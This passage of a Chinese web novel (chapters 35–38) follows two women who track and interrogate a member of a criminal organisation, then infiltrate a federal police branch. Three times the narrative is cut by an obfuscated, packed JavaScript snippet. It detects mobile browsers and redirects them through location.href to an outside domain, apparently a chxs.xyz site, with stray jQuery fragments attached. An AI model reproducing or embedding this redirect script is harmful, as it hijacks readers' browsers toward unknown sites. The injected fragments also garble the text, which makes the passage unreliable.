她怒骂了句脏话,正懊恼时,一条私信进来了。 [匿名:成为祂的眷属,接受祂的赐福。] 35. 证据 035. 又开始了。 那种毫无规律、难以言述的颠乱呓语时隔数日再度在耳边响起。 唱鹿明明坐在地上,后背靠着坚硬的水泥墙。 可她还是有种在往深渊坠落的失重感,五脏最深处有什么东西正在生根发芽…… 通讯器响了。 唱鹿猛然从呓语中抽离,是扶鸢的来信。 [他来了。] - 扶鸢站在吧台后面擦拭着酒杯。 假扮成淮娜的第三天,工作开始娴熟。 上班不外乎是那几件事,调酒占最大头。 说忙不忙,说闲不闲。 客人并不多,一整晚下来可能就五十来个。 所以当游隼走进酒吧时,扶鸢的目光立即锁定在他身上。 正如唱鹿所说,这人很好认。 样貌中等偏上,有特色的是他的作为兽耳族的毛色。 洁白无暇,像冬日未消融的雪花。 游隼一屁股坐在正对扶鸢的高脚椅上,“一杯飘渺云烟。” “平时不都喝冰封雪域么?怎么换口味了?”扶鸢转身去拿酒,说话的嗓音已然变成了淮娜的音色。 按照老板娘给的资料,游隼每隔三五天来一次Nest酒吧,基本都点冰峰雪域。 偶而会点飘渺云烟,当游隼心情不好的时候。 扶鸢这么说不是想套话。 因为淮娜真的只是一个调酒师,她和刺鲸没有关系,也不清楚Nest酒吧的底细。 但角色扮演需要忠于角色性格。 不问反而违背了淮娜的行事风格。 游隼并未察觉眼前人不是他熟悉的那位调酒师,顺口应道:“你的好奇心是越来越重了。” “光喝酒不聊天,你的钱不是白花了吗?”扶鸢沉浸在角色里,“我还以为客人都想和我说说话呢。” 嘴上开着玩笑,手上的活没停过。 不一会儿便调制出了一杯飘渺云烟。 她把酒推到游隼眼前,“请慢用。” 游隼没有怀疑,举杯一饮而尽。 见状,扶鸢偷偷把手伸到吧台下,再度给唱鹿发去了一则信息。 - [酒已下肚。] 收到扶鸢的最新消息,唱鹿知道该轮到她行动了。 她把变声器贴在声带旁,深吸一口气,拨打游隼的电话。 提示音只响了一下便接通了。 游隼接得很急,也听得出语气有点焦躁,“游熊?” 唱鹿用游熊的声音答道:“是我。” “人找到了吗?”游隼又问。 找人?什么人? 思维拐了弯,唱鹿想到一个名字: 大川。 她稳住呼吸,让声音尽可能听起来自然,“没有。” “(脏话消音),他到底跑哪里去了!”那头传来一声巨响,应该是游隼气得用拳头砸桌子。 唱鹿没有说话。 她手头的线索不多,说多错多,不如等游隼主动推进话题。 须臾,游隼再次开口,“通行证办好了吗?” “嗯。” “那就行,那就行……你要小心。”游隼的声音低下去,“我们老地方见?” “好,我等你。” 通话结束了。 唱鹿摘下变声器,脑子里已经将这段简短的对话反复琢磨了好几遍。 兄弟俩要找的人必定是大川。 因为游熊就是在大川租的房子附近伏击了她和扶鸢。 至于通行证,应该是游熊的跨境通行证。 唱鹿一直带在身上,现下从口袋里掏出来看。 跨境通行证是由联邦制作并颁发给需要进行跨境旅行的居民。 游熊的这张没有什么独特之处。 还有,老地方是哪里? 老板娘给的资料很详尽了,可偏偏没有记载这一点。 还没思考出答案,扶鸢的第三条短信来了。 [已离开。] 唱鹿立刻打开地图定位。 伽马地区的平面图悬浮在空中,一个红点正从Nest酒吧里出来,并在地图上留下一条路径虚线。 扶鸢调制的那杯飘渺云烟里加了点料。 不是迷药,而是一个微型跟踪器。 飘渺云烟本就有些颗粒感。 微型跟踪器正好可以融入其中,被人喝下而不被察觉。 随着时间推移,唱鹿有些后悔没有直接给游隼下迷药。 这人一直在差不多的区域里兜兜转转。 前一秒刚进一家超市,后一秒就能跑到男装店,眨眼间又去了花铺…… 唱鹿原本打算让智能数据分析他的目的地。 可游隼一直在漫无目的地绕圈圈,就连大数据也无法定位他到底想要去哪里。 游隼很谨慎,也很聪明。 他本身便是一个程序员,自然知道这些程序是如何进行数据分析的。 即便不知道自己身上有定位器,也猜到或许有人正在暗中盯着自己,所以才不断绕行。 只能手动分析了。 唱鹿咬住下唇,开始在地图上操作。 先建立一个广泛的范围圈,再设置频繁方向…… 她花了整整二十分钟,把最终目的地缩小到了近海区域。 再让地图转换为立体建模,将推算出的范围圈套进去—— 有了。 唱鹿立马给扶鸢传信。 [(278,49),废弃造船厂。] - 游隼走进造船厂。 自从被联邦分局关押过后,他总有些惴惴不安,生怕某一天又被逮捕。 这两天他做什么都很小心。 又不能过分小心,免得引起怀疑。 好在联邦没有掌握他是刺鲸成员的确凿证据,只要…… 所以不必过分忧虑,自然就好。 游隼找了一个破箱子坐下。 一路过来,他绕了很长的路,以防有人跟踪他,或者试图通过定位分析出他的目的地。 目前来看,没有尾随者。 他盯着造船厂那扇半掩着的、锈迹斑斑的大门。 十几个纪年前,他们两兄弟还小,经常趁各自的家长不注意,溜到造船厂里玩。 长辈们不许他们来往。 说什么异母同父,算不上亲兄弟。 外表也确实看不出是兄弟。 因为遗传规律,所有新生儿的种族都随母亲。 他是兽耳族,游熊是追月族。 就连姓氏也是在父亲死后才一起改随父姓,作为两兄弟间唯一的链接。 他有段时间没见过游熊了。 自从…… 身后响起一阵悉悉索索的动静,游隼警觉地转身,“谁!” 没人回应,也没了动静。 他尝试呼唤道:“游熊?” 一个人影出现在结满蛛网的吊机上。 戴着伪装面具,一身深色衣服,看不出男女。 蹲姿像一头豹子,正在俯瞰自己的猎物。 “你在找我吗?”唱鹿说。 以她所处的位置,看游隼就像看地上的蚂蚁。 游隼眉头紧锁,稍稍往后退了半截。 还是有人跟过来了,害怕之余也在担心,担心游熊的安危。 唱鹿表现越是镇定自如,他的内心越是焦躁不安。 料想到游熊可能已经被抓,游隼冲她大喊道:“我弟弟呢?” 唱鹿委婉道:“他不在这里。” 游隼握紧拳头,眼睛快速左右扫动。 他在观察造船厂里环境,以便预判逃跑的可能性有多少。 明知他要逃,唱鹿却一动不动。 因为游隼看似慌乱,实则一直在留心她的一举一动。 可惜后背长不出眼睛,不然就能看到扶鸢缓缓走进了造船厂,正悄无声息地靠近他。 游隼到底是比唱鹿想象中的要敏锐。 扶鸢离他还不到三米时,他突然猛地转身,右手从左手的手心里抽出了一把骨刃,刺向扶鸢的眉心。 [魔方·临危]于此刻生效。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949129|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在唱鹿的视角里,扶鸢的动作比游隼快了至少两倍。 游隼的手还高举在空中,扶鸢已经使出一个下勾拳,把他揍得往后飞出去一段。 扶鸢的短处也在这一拳中暴露出来。 她的劲力不足,一击还不能把游隼打趴。 游隼借力在半空翻了个身,握着骨刃蹲伏在地上,又趁机从右手手心再抽出一把骨刃。 他手持双刃,做出攻击姿态。 身居高处旁观战况的唱鹿眯起了双眼。 她和扶鸢都知道游隼是受赐者。 老板娘的资料里写的很清楚,游隼可以从双手中抽出两把骨刃作为武器,骨刃还能当回旋镖使用。 说时迟那时快,游隼后腿朝地上一蹬,整个人弹射出去。 他挥刃朝扶鸢杀去的同时,朝上抛出另一把骨刃。 骨刃化作回旋镖,在造船厂的上空划出一个漂亮的半弧,直冲唱鹿的太阳穴而来。 旋即响起珰一声,骨刃被弹开。 游隼没空去看唱鹿是用什么挡住了那一击,专心于攻向扶鸢的这一刀。 可恶,又被躲开了! 他终于意识到来人也是受赐者,可已经太迟。 扶鸢以常人难以想象的速度绕到游隼身侧。 他还保持着朝前俯冲的姿势,而她则对准他的后脑勺,狠狠一个手刀下去。 游隼两眼一黑,瘫倒在地。 “搞定了?”唱鹿还蹲坐在吊机顶端,手里举着伪装面具。 哦不,现在已经是一面盾了。 方才骨刃飞来时,她不慌不忙摘下面具,动用[魔方·拟造]把它变成了一面坚不可摧的盾牌。 骨刃往盾牌上一撞,不仅被弹飞出去,还断成了两截。 扶鸢抬头望,“上面好玩吗?” “还行,就是有点冷。” “你是想说高处不胜寒?” “我是想说我恐高。” “……” * 游隼被绑在椅子上,全身衣服被扒得只剩一条底裤。 他的对面有一张桌子,桌面上摆着从他身上搜出来的所有东西。 没多少。 定制通讯器,两张超市优惠券,还有一支应急愈合剂。 他醒来的时候,唱鹿和扶鸢正在吃夜宵。 吃的是酸辣米线,味道有点呛,把游隼香得咽了两下口水。 “醒啦?”唱鹿问。 “做梦了吗?”扶鸢也问,“有没有梦见我们?” “问他这个干嘛?” “你上次也这么问我的。” “……” 还挺记仇。 唱鹿清了清嗓子,“你来还是我来?” 扶鸢放下筷子,主动起身,“我来吧。” 她走到游隼面前,掐住他的脸,强迫他抬头看着自己。 冷声问道:“风铃在哪儿?” 游隼的眼底闪过一丝古怪的神色,表情却没有任何破绽,“我不认识什么风铃。” 唱鹿吸了口米线,插话进来,“我们有说风铃是一个人的名字吗?这么急着说你不认识。” 游隼哽住了。 的确,她们什么都没说。 他属于自爆了。 游隼的嘴巴抿成一条线,解释不了一点。 扶鸢加重手上拿捏的力度,恶狠狠道:“要不说实话,要不我把你送去联邦。” 听到联邦,游隼忍不住冷笑,“你以为我没进过联邦吗?” “你进过,又被放出来了。”唱鹿不可置否,“联邦抓你是因为他们认为你是刺鲸成员,可惜没有确凿的证据,不得不将你释放。” “知道就好。”游隼甩了下脑袋,挣脱扶鸢的手,“现在还想用联邦威胁我吗?” 唱鹿十指交错,轻轻抵住下巴,“联邦没有,不代表我没有。” 游隼死盯着她,眼神像要在她身上捅出千百个孔方能消气。 她拿出游熊的通行证。 见游隼因震惊而放大的眼瞳,唱鹿狡黠一笑。 “看来我猜对了。” 36. 钥匙 036. 游隼轻哂,撇过头去不看。 嘴角往下耷拉,眉梢透出不耐烦,讽刺道:“这么能猜,怎么不去赌场。” 唱鹿也不生气,歪头瞅他,“不如,你先听听我猜得对不对。” 游隼的眼珠子斜过来,带着怒意,竟有点宁死不屈的意味。 唱鹿示意扶鸢回来坐下,又说:“那就从刚才的那通电话开始吧。” 她一开始没有怀疑到跨境通行证上,还是游隼的话提醒了她。 游隼在电话中问‘游熊’,通行证是否办好,这是唱鹿产生怀疑的源头。 通行证本身没有问题,很规范。 问题在于通行证上有办理日期,距今已有半年。 这半年里兄弟俩见过面,理应早就询问过。 当然,一句话并不足以证明什么,还得结合其他细节一起看。 游隼在电话里提醒游熊要小心。 唱鹿记得游隼在面对联邦问讯时,曾说过这么一句话:“呵呵,你们睁大眼睛看清楚,那枚芯片是我的吗?” 说明联邦确实从游隼身上找到了刺鲸组织的芯片。 但芯片的主人不是游隼,而是另外一个人。 是谁呢? 游熊。 兄弟俩交换了组织芯片,以防在被联邦抓住时从身上搜出相应的芯片,坐实罪名。 如今游熊的芯片已经落入联邦手里,游隼才会提醒游熊要小心。 说到这里,唱鹿把游熊的通行证交给扶鸢。 扶鸢的双手稍一使劲,通行证断开。 截面露出一个体积更小更薄的芯片。 证据确凿,游隼的狂傲不见了。 他开始有些慌张,有些懊恼,怒到极致,冲她们咆哮道:“游熊呢!你们对他做了什么!他在哪里!” 联邦果真没有告诉游隼,游熊已死。 唱鹿不答反问:“你好好回想一下,联邦明明已经从你身上拿到一张刺鲸的组织芯片,为什么会轻易放你走?” 游隼嘴巴一张,似乎是想要声辩。 因为芯片不是他的,因为……游隼的眼珠子来回转,后知后觉意识到不对。 “我如果是联邦的人,抓到你,从你身上搜出一张其他人的组织芯片。我会先找借口再把你关押几天,趁这段时间赶紧抓到另一个人,看看他身上有没有你的芯片,而不是装模做样地拖到所谓的规定时间,再把你放走。”唱鹿说,“除非,我已经抓到了另一个人,而他身上没有你的芯片。为什么没有呢?” 游隼脸色一敛,目光直指唱鹿,“你杀了他!” 扶鸢漠然道:“是他跟踪我们在先。” 说完,再度起身,下巴稍稍抬起,露出阴狠的神色,“回答我的问题,风铃在哪儿?” 游隼心如死灰。 他摇着头,先是笑,随后发出呜呜的声音。 又哭又笑,又笑又哭,形如疯癫,嘴里反复念叨一句话,“死了也好,死了就不用受罪了。” “回答我的问题!”扶鸢掐住他的脖子,“不然就去蹲联邦监狱,他们对刺鲸什么态度,你比我更清楚!” 游隼根本不理会。 他哭着笑着,仍旧重复道:“死了也好,死了就不用受罪了。” 他不是在说自己,是在说弟弟游熊。 活着会被关进联邦监狱里受折磨,倒不如死了干净。 “扶鸢,放开他。”唱鹿说。 “可是……” “放开。” 扶鸢不情不愿地松开手,忍着怒火坐回来。 游隼被她掐得涨红了脸,还是那副哀莫大于心死的表情。 唱鹿叹了口气,说:“你可以找我报仇。” 游隼一惊,抬眼看她。 没了先前的恨意,满满的惊诧和不解。 “我现在没戴伪装面具,也没有变声器。我叫唱鹿,游熊是我杀的。如果你能活下来,随时可以找我为你弟弟报仇。”她平静地说,“我等着。” “报仇?我为什么要找你报仇……我不会找你报仇。”游隼摇着头,“不,你不是罪魁祸首……你没有逼我们加入刺鲸,走上这条不归路……游熊……那都是他自己选的。我劝过,他不听……” 他自言自语着,陷入了回忆里。 一切都怪父亲。 父亲不知道什么时候加入了刺鲸,他还给游熊洗脑,说刺鲸是一个匡扶正义的组织,目标是扫清世间伪善之事。 游熊真的相信了,在父亲的引荐下成为了刺鲸的一员。 兄弟再次见面,游熊还劝他一起加入刺鲸。 看着弟弟的狂热,游隼心底隐隐知道终有一天会出事。 不是没劝过,可好言难劝想死的鬼。 既然如此,不如他去看着弟弟…… 抱着这种心态,加上父亲的威逼利诱,游隼也迈进了刺鲸的大门。 后来,游隼想了很多种办法保全他和弟弟游熊。 交换组织芯片,通过讨好上级把兄弟俩安排到一些不相干的职位去,一有什么风声就带着妈妈和弟弟躲起来。 可游熊一心想要往上爬。 他想和父亲一样,成为组织高层。 到时候就能赚更多的钱,还能和联邦的大人物合作…… 游隼在回忆的长河里闭上眼睛,任由洪流将他冲向这个无法挽回的结局。 只余一句,“解脱了,真好。” “那你呢?”唱鹿的声音将他拽回现实,“你想活下去吗?” “我……”这个问题让游隼一愣。 他完全没有思考过“要不要活下去”,一直以来他都是在想“怎么让游熊活下去”。 唱鹿在他的眼里看到了茫然。 于是再问:“你想不想让你妈妈活下去?” 提到妈妈,游隼总算又有了点活人感。 是害怕,像是怕她们会把黑手伸到他的母亲身上。 “你母亲出生于神都地区,认识你父亲之后才移居到伽马地区,并在这里生下了你。纪年年初,你父亲死了。他死后不久,游熊的母亲也病逝了。你打算带着妈妈和弟弟回神都地区,彻底脱离刺鲸,所以才去办理了跨境通行证,对吧?” 唱鹿说话时,游隼一直盯着她。 他很难想象这个女人还知道多少,不管是武力还是脑子,这明显是个厉害的角色。 游隼实在好奇,“你怎么知道?” 唱鹿想了想,“一点人脉,一点调查,再加一点猜测。” 她的回答让游隼更加肯定了他的想法。 这个女人不简单。 他闷闷地应了声:“嗯。” “通行证已经办好了,可你们迟迟没走。”唱鹿伸出左手,按在桌面那张断成两截的通行证上,“看来联邦对刺鲸发难,远比公众知道的要早。” 唱鹿的脑海中飞速掠过近期联邦的所有大动作。 没等游隼回答,她已经有了答案,“三个月前,联邦跨境局对外宣布要对所有通行证进行升级,居民必须持有升级后的通行证放才能进行跨境航行。但跨境局的工作效率很低,每个月的升级名额有限。你们一家没轮上吧?不,应该说是被有意落下了。” 至少在三个月前,联邦便已经有意再限制刺鲸成员的活动了。 捕鱼之前要先让鱼群聚集,趁着鱼多撒网才有最大收获。 听完这段分析,扶鸢发现了一个盲点,“你对联邦很关注啊?” 唱鹿露出了尴尬又不失礼貌的微笑,“没出事前,我准备去参加恶魔猎手的选拔,做了不少功课。” “恶魔猎手?”好中二的名字。 “就是清道夫。括号,联邦专用版。” 扶鸢点头表示懂了。 那所谓的‘没出事前’,就是唱鹿还没觉醒自我意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952944|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前咯? 她看向她,调侃道:“你很有上进心呐。” 唱鹿:“……” 这话怎么好像在哪里听过。 不管了,正事要紧。 唱鹿的视线重新回到游隼身上,“你妈妈的通行证,我或许有门路可以搞定。” 游隼有点怀疑,不过也有几分相信,“真的?” “你,我不敢保证。你妈妈……只要后面不再出事,不是难事。” 这个不再出事是指游隼不能被抓住把柄,一旦罪名连坐,谁都逃不掉。 游隼低头思考了很久,“好,我信你。” “别急着信我。”唱鹿打了个‘停’的手势,“先回答我们的问题,风铃在哪儿?” 一切又回到原点。 游隼纠结了很久,时而抬头,时而垂眸。 几次想说话,张张嘴又合上。 唱鹿没有催促。 今夜还很长,有大把时间等他想清楚要不要说。 慢吞吞吃完夜宵,还看了一部三十分钟的微电影。 唱鹿正考虑要不要先回家睡一觉,游隼终于开口了。 “我是程序员,负责组织重要资料的录入与上锁。因为刺鲸的白金会员总共不超十个,所以我记得很清楚。风铃,她就是其中之一。”游隼说,“你问我她在哪里,我真的不知道,她很久没有出现过了。但我记得她曾经在N278港口寄存两个盒子。一个用的是普通密码锁,另一个需要用一把特殊的钥匙才能打开。” 扶鸢的脸色沉了些,“密码锁那个我已经打开过了,另一个你说要用特殊钥匙?” 游隼点头,“那是刺鲸为白金会员特制的保险柜,如果有人试图通过外力强行打开,寄存的东西会自动销毁。” “钥匙长什么样?” “每个保险柜的钥匙都不一样,她的那把……”估计很难形容,游隼的面部肌肉略微抽搐,“像……像个铃铛。” 像铃铛的钥匙? 很好,很抽象。 唱鹿想找纸让他画下来,却见扶鸢拉开衣领,拽出了贴身戴着的项链。 竟然就是一个表面有着奇怪花纹的小铃铛! 扶鸢把项链递到游隼眼前,“是不是这个?” “是!就是它!” 唱鹿奇怪道:“我之前怎么没发现你戴了项链。” 这个之前,是指扶鸢重伤手术后,她帮她洗澡那次。 扶鸢说:“风铃留给我的,之前怕弄丢了,找了个地方藏着。” 这个之前,是指她夜袭N278港口那次。 唱鹿笑笑,“风铃的盒子里到底还有多少东西?” 言下之意,你到底还有多少事瞒着我。 扶鸢看过来,“两样。” 一个魔方,已经钻进她身体里了。 还有就是这把钥匙。 两人对视了很久。 久到游隼莫名觉得背后发毛,空气中似乎有硝烟味。 还是唱鹿率先开口打破了僵局,“保险柜都有编码——” “2173647!”游隼脱口而出,小心谨慎地观察两人的神情。 “谢谢。”扶鸢说。 “客、客气。” 唱鹿又问:“保险柜在N278港口的哪个仓库里?” 游隼忙不迭答道:“东11仓。但现在整个N278港口都被联邦封锁了,你们很难靠近那里,更别说打开保险柜了。” 确实。 先前隶属刺鲸的所有港口,如今都被联邦接管了。 其中就包括N278港口。 必须想办法在联邦的眼皮子底下潜入N278港口并盗出保险柜里的东西。 思及此处,唱鹿问他: “你知道风铃寄存的东西是什么吗?” “知道。” 游隼哽咽了下,说: “是一管蓝血。” 37. 入职 037. “唱鹿,我瞧你的胆子是愈发大了。”老板娘摇着手里的折扇,斜眼瞅向对面的人,“都准备和联邦对着来了。” 老板娘今晚穿了件黑底绣红牡丹的旗袍,衬得身段特别凹凸有致,极其有异域风情。 表情则没那么美好。 眉头微蹙,有些三分犯愁,三分嗔怒,余下的是想置之不理又不忍心的纠结。 唱鹿觉得冤枉。 她可没想招惹联邦,更别说和联邦争锋相对了。 扶鸢抢着开口辩解道:“我们只是想找机会潜入管控区,顺便问问你有没有办法把游隼的妈妈送出去。” “这不难。” 唱鹿眼睛一亮,“那——” 老板娘把折扇合上,投来一个意味深长的眼神,叫唱鹿默默闭上了嘴。 见状,老板娘一笑,“先说好,你欠我这么多债,准备怎么还?” 唱鹿最怕她来这招,倏地起身。 正想扭头走人,被扶鸢拽住,“怎么样都可以。” 唱鹿:? 扶鸢:“卖身也行。” 唱鹿:?? 不是,你怎么胳膊肘子往外拐! 唱鹿不高兴,但老板娘很满意。 见唱鹿被扶鸢按回了椅子里,老板娘说:“送人的事简单,要进管控区可不容易。现下也没有更好的法子,只能像上次一样,鸠占鹊巢。” “不行。”唱鹿说,“联邦内部有人工智能,如果我取代其中某个人,通过日常行为对比分析就能发现我的破绽。想要鸠占鹊巢,还得先把人工智能的机房烧了。” “是,但那是以前。如今联邦正处动荡之际,几次清剿下来,有不少人因公殉职。为了填补职位空缺,上头已经筛选出了一批背景干净的人,不日就要招进联邦就职。这可是个千载难逢的好机会,错过就没有了。” “你有合适的人选?” 老板娘以手轻叩雕花红木桌,桌面应声出现一份虚拟资料。 唱鹿接过来看,老板娘也体贴地解说道:“这个女孩复姓闻人,单名一个嘉字。今年二十二岁,上个纪年刚从联邦大学刑侦系毕业,因为学术成绩极佳,毕业后被留任在校当指导员。三天前,联邦第十三分局给她发了聘请函,招聘她为实习特警,明天就要去分局报到,正式入职。” 这些和资料上所写一致。 唱鹿注意到最低下一行小字,写着:每逢一三五,晚七点,习惯到未央阁用晚餐。 今天是周三,现在是……唱鹿往墙上扫了一眼,七点十四分。 不出意外的话,闻人嘉现在就在未央阁。 “你是想……?” “我可不会蠢到在自己的地盘上动手,但她既然来了,你又用得上,自然不会轻易放过。”老板娘含笑道,“十点后,你去她家。其他的交给我。” 事情谈妥,两人准备告辞。 唱鹿走出一步又想起什么,用眼神示意扶鸢先走。 等扶鸢离开后,唱鹿才回头看向老板娘。 正巧,老板娘也将她瞅着,一双水波荡漾的眼睛里满是笑意,“特意把人支走,是有贴心话要与我说?” 唱鹿可没心情开玩笑。 她神色肃穆,“我能相信你吗?” 老板娘不答反问:“我何时骗过你?” 话语里透出一丝难过。 唱鹿沉默。 确实没骗过,还帮过她数次。 “扶小姐有事瞒你?”老板娘猜到她起疑心的原因。 唱鹿没有否认。 她确实是因为钥匙的事,察觉到扶鸢或许还有很多事没有坦白。 因而联想起第一次把魔方碎片给老板娘看时,老板娘只说这东西不值钱。 后来还是地菩萨告诉她,这是魔方碎片。 地菩萨能知道的,老板娘不可能不知道。 “为什么不说?”唱鹿直视她的眼睛,用眼神告诉她,自己不想听到“忘记了”之类的回答。 “无益之事,说了不过徒增烦恼。你既没有一个完整的魔方,又不知道知道碎片有什么用。我要是说了,以你的性子会怎么做?十有八九会豁出命去尝试,我可不想看你以身犯险。” 唱鹿颔首表示理解。 可还是有一点想不明白,“为什么一直帮我?” 老板娘每次都是嘴上说说,可从没真正管她要过什么。 坐在雕花红木桌后的女人嫣然一笑。 “等你记起我的名字,我再告诉你为何。” - 唱鹿走出未央阁,扶鸢正在门口等着。 她朝扶鸢看了一眼,脚步不停地走了过去,“先回家吧。” 扶鸢能明显感觉到唱鹿的疏远。 这种距离感从昨天晚上开始,当唱鹿发现她还有所保留时。 此处人来人往,不是解释的好地方。 扶鸢只好默默跟上。 回到家,关上门。 扶鸢按耐不住道:“我以为那只是一条普通项链。” 唱鹿换上室内拖,“知道了。” 她现在也很难说清自己到底在拧巴什么。 大概是因为她真的相信扶鸢,而这种信任好像并不对等。 这不能怪扶鸢。 是唱鹿的身份,让她不得不谨慎。 若是想要完全了解扶鸢,必须问及现实世界的事。 可一旦问及,唱鹿不知道自己作为一个NPC,是否因主动提及世界之外的其他话题而被检测到…… 她们的关系从一开始就不平等。 唱鹿走进厨房,从冰柜里取出一只水。 拧开,一饮而尽。 冰冷的液体没能抚慰躁动不安的心。 偏偏转身又看到扶鸢站在门口,“你不好奇那天老板娘单独把我留下都说了什么吗?” “不想说可以不说。”唱鹿回避着她的视线,“我们一起经历过生死,这点信任还是有的。” 扶鸢直接戳破她,“可你在生闷气。” “我只是觉得很被动。”唱鹿苦笑,“我的身份又注定了我只能被动。” 被动地觉醒。 被动地接受魔方碎片。 被动地被链路绑定在一起。 被动地接受系统颁发的任务。 有谁关心过她的意愿呢。 没有,因为她只是个NPC罢了。 扶鸢有扶鸢的目标。 老板娘有老板娘的意图。 她呢。 莫名其妙卷进去,身不由己地前行。 “联邦的事情,我比你熟悉。”唱鹿绕过扶鸢,走向卧室,“我去假扮闻人嘉,你在家等消息就行。” “……” 扶鸢拉住她,“我只说一句。” 唱鹿没有回头,也没有挣脱她的手。 扶鸢说:“老板娘和我一样,她也是玩家。” * 唱鹿躺在属于闻人嘉的床上,第七遍阅读老板娘给的资料。 伪装必需用到的东西,老板娘都已经为她准备好了。 现在唱鹿能做的,就是熟读这份资料,记住闻人嘉生活中的点滴,尽可能不露出破绽。 好在闻人嘉是个新人,联邦的人工智能没有她的日常行为逻辑记录。 但也有个坏消息。 闻人嘉准备作为一名实习特警入职联邦第十三分局,而她的直系上司,是苍镹。 资料上记载,闻人嘉和苍镹只有过一次接触。 当时苍镹作为面试官去到联邦大学,亲自对闻人嘉进行了初步的入职考核。 至于两人的第一次会面说了什么,还做了什么。 没人知道。 只能从闻人嘉的性格推测。 ——冷静自持、沉默寡言,喜欢低头走路。 感觉更适合扶鸢来扮演。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958606|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想到扶鸢,唱鹿的大脑放空了几分钟。 神游归来后,她强迫自己把注意力放在“苍镹”这个名字上。 上次在分局里对她进行审问的就是苍镹。 一个极其理智、敏锐、气场强大的女性,也是目前为止唱鹿最不想再遇见的对手。 N278港口。 东11仓。 编号2173647的保险柜。 唱鹿不断在心底重复,力求将这几个数字铭刻在心。 这事不能拖。 必须速战速决。 - 规定九点去联邦分局报到,唱鹿六点就醒了。 她换好制服,戴上假发、液体人皮面具、仿真指纹、美瞳,再把变声器贴在喉咙旁,将领子的纽扣扣好。 往镜子前一站,完全就是闻人嘉的模样。 唱鹿又尝试说了几句话,以确认变声器在正常工作。 然后才去弄早餐。 一切准备妥当,早餐也吃完了。 已经快八点。 唱鹿出门,按照既定路线前往候车站,搭乘悬浮电轨车前往联邦第十三分局。 时隔五天再次走进联邦分局大楼,她的心情复杂不是一点点。 一个熟悉的、毫无感情的机械音响起,“欢迎来到联邦第十三分局。实习特警闻人嘉,请到特警一队办公室报道。指示已开启,请根据地面箭头指应乘坐电梯。” 和上次一样,地面出现绿色指示箭头,引导唱鹿步入电梯。 进电梯后,人工智能又自动为她选择了六楼。 途中电梯停了两次,分别进来几个人。 唱鹿站在角落里,维持着闻人嘉的性格人设,低头不说话。 抵达六楼,绿色指示箭头再次亮起。 她跟着往前走,直至在一扇挂着“特警一队办公室”门牌的金属门前停下。 唱鹿深吸一口气。 以为开门就会见到苍镹,可办公室里站着的却是一个素未谋面的女人。 女人一头干练的短发,高鼻梁上架着一副玳瑁眼镜。 看起来很温柔,声音也的确如此,“你是闻人嘉吧?真是个少见的姓氏。” 唱鹿停在门口,“请问你是……?” 女人说:“我叫唐与,是特警一队的副队长。” “副队好。” “不用客气,进来坐吧。”唐与拉开身旁的滚轮椅,“苍队今天有事要忙,不回局里。所以让我给你做新人培训。” “好。”唱鹿过去坐下。 唐与取出一本联邦职员手册,“你先看看手册内容,我顺便和你讲讲特警实习生每天要做什么。” 唱鹿点开手册,页面每隔二十几秒就会自动往后翻。 各种规章制度,看得头疼。 “实习生最重要的任务就是训练,每天早晚各两小时,人工智能会根据你的实际情况为你安排合适的训练项目。每天四小时训练是必须完成的,训练之余,还会安排外勤工作。” “我们特警队和巡警队不一样。巡警队负责地区的日常巡逻,特警队则负责案件调查与侦破,近期还需要腾出手去追查刺鲸要犯的行踪,尽快将通缉名单上的人逮捕归案。” “除此之外,特警队也负责一些特殊案件。这部分需要等你转正时签过保密协议才会接触到,我暂时就不多说了。” “还有,今天队长不在,我就先不带你去见伊莱莎教授了。” 唱鹿正好把职员手册看完,抬起头,“伊莱莎教授是……?” “伊莱莎教师是分局科研部的部长。现在市面上最常见的C96型愈合剂和C701型解毒剂都是她研制的,还有一些仅限联邦内部使用的武器,比如光子炮和微粒子枪,也是伊莱莎教授的研究成果。当然,伊莱莎教授现在专攻的课题是魔方。” 唱鹿面色一滞。 联邦果然暗中在研究魔方的特性! 38. 改革 038. “每个新人都要见伊莱莎教授吗?” “当然。” 唐与正在带唱鹿参观整座分局大楼。 此时两人正往训练场走去,唐与尽职尽责地继续说:“伊莱莎教授是整个联邦最具知识权威的人。她是整个魔方研究的最大推进力,本身也是受赐者。她的赐福很特别,你明天见到就知道了。” 唱鹿心念一转,确实有点好奇。 好奇是一方面,另一方面也感到意外。 联邦内部人员谈起魔方和赐福就像家常便饭,完全不似民间那般讳莫如深。 有此可见,联邦确实有些还未曾对外公开的‘秘密’。 两人停在训练场门口,唐与正想扫瞄虹膜验证,人工智能突然开口了:“实在很抱歉,因设备故障需要维修,今日训练场暂时不开放。” 唐与纳闷了,“昨天不是还好好的么,今天怎么就故障了。” 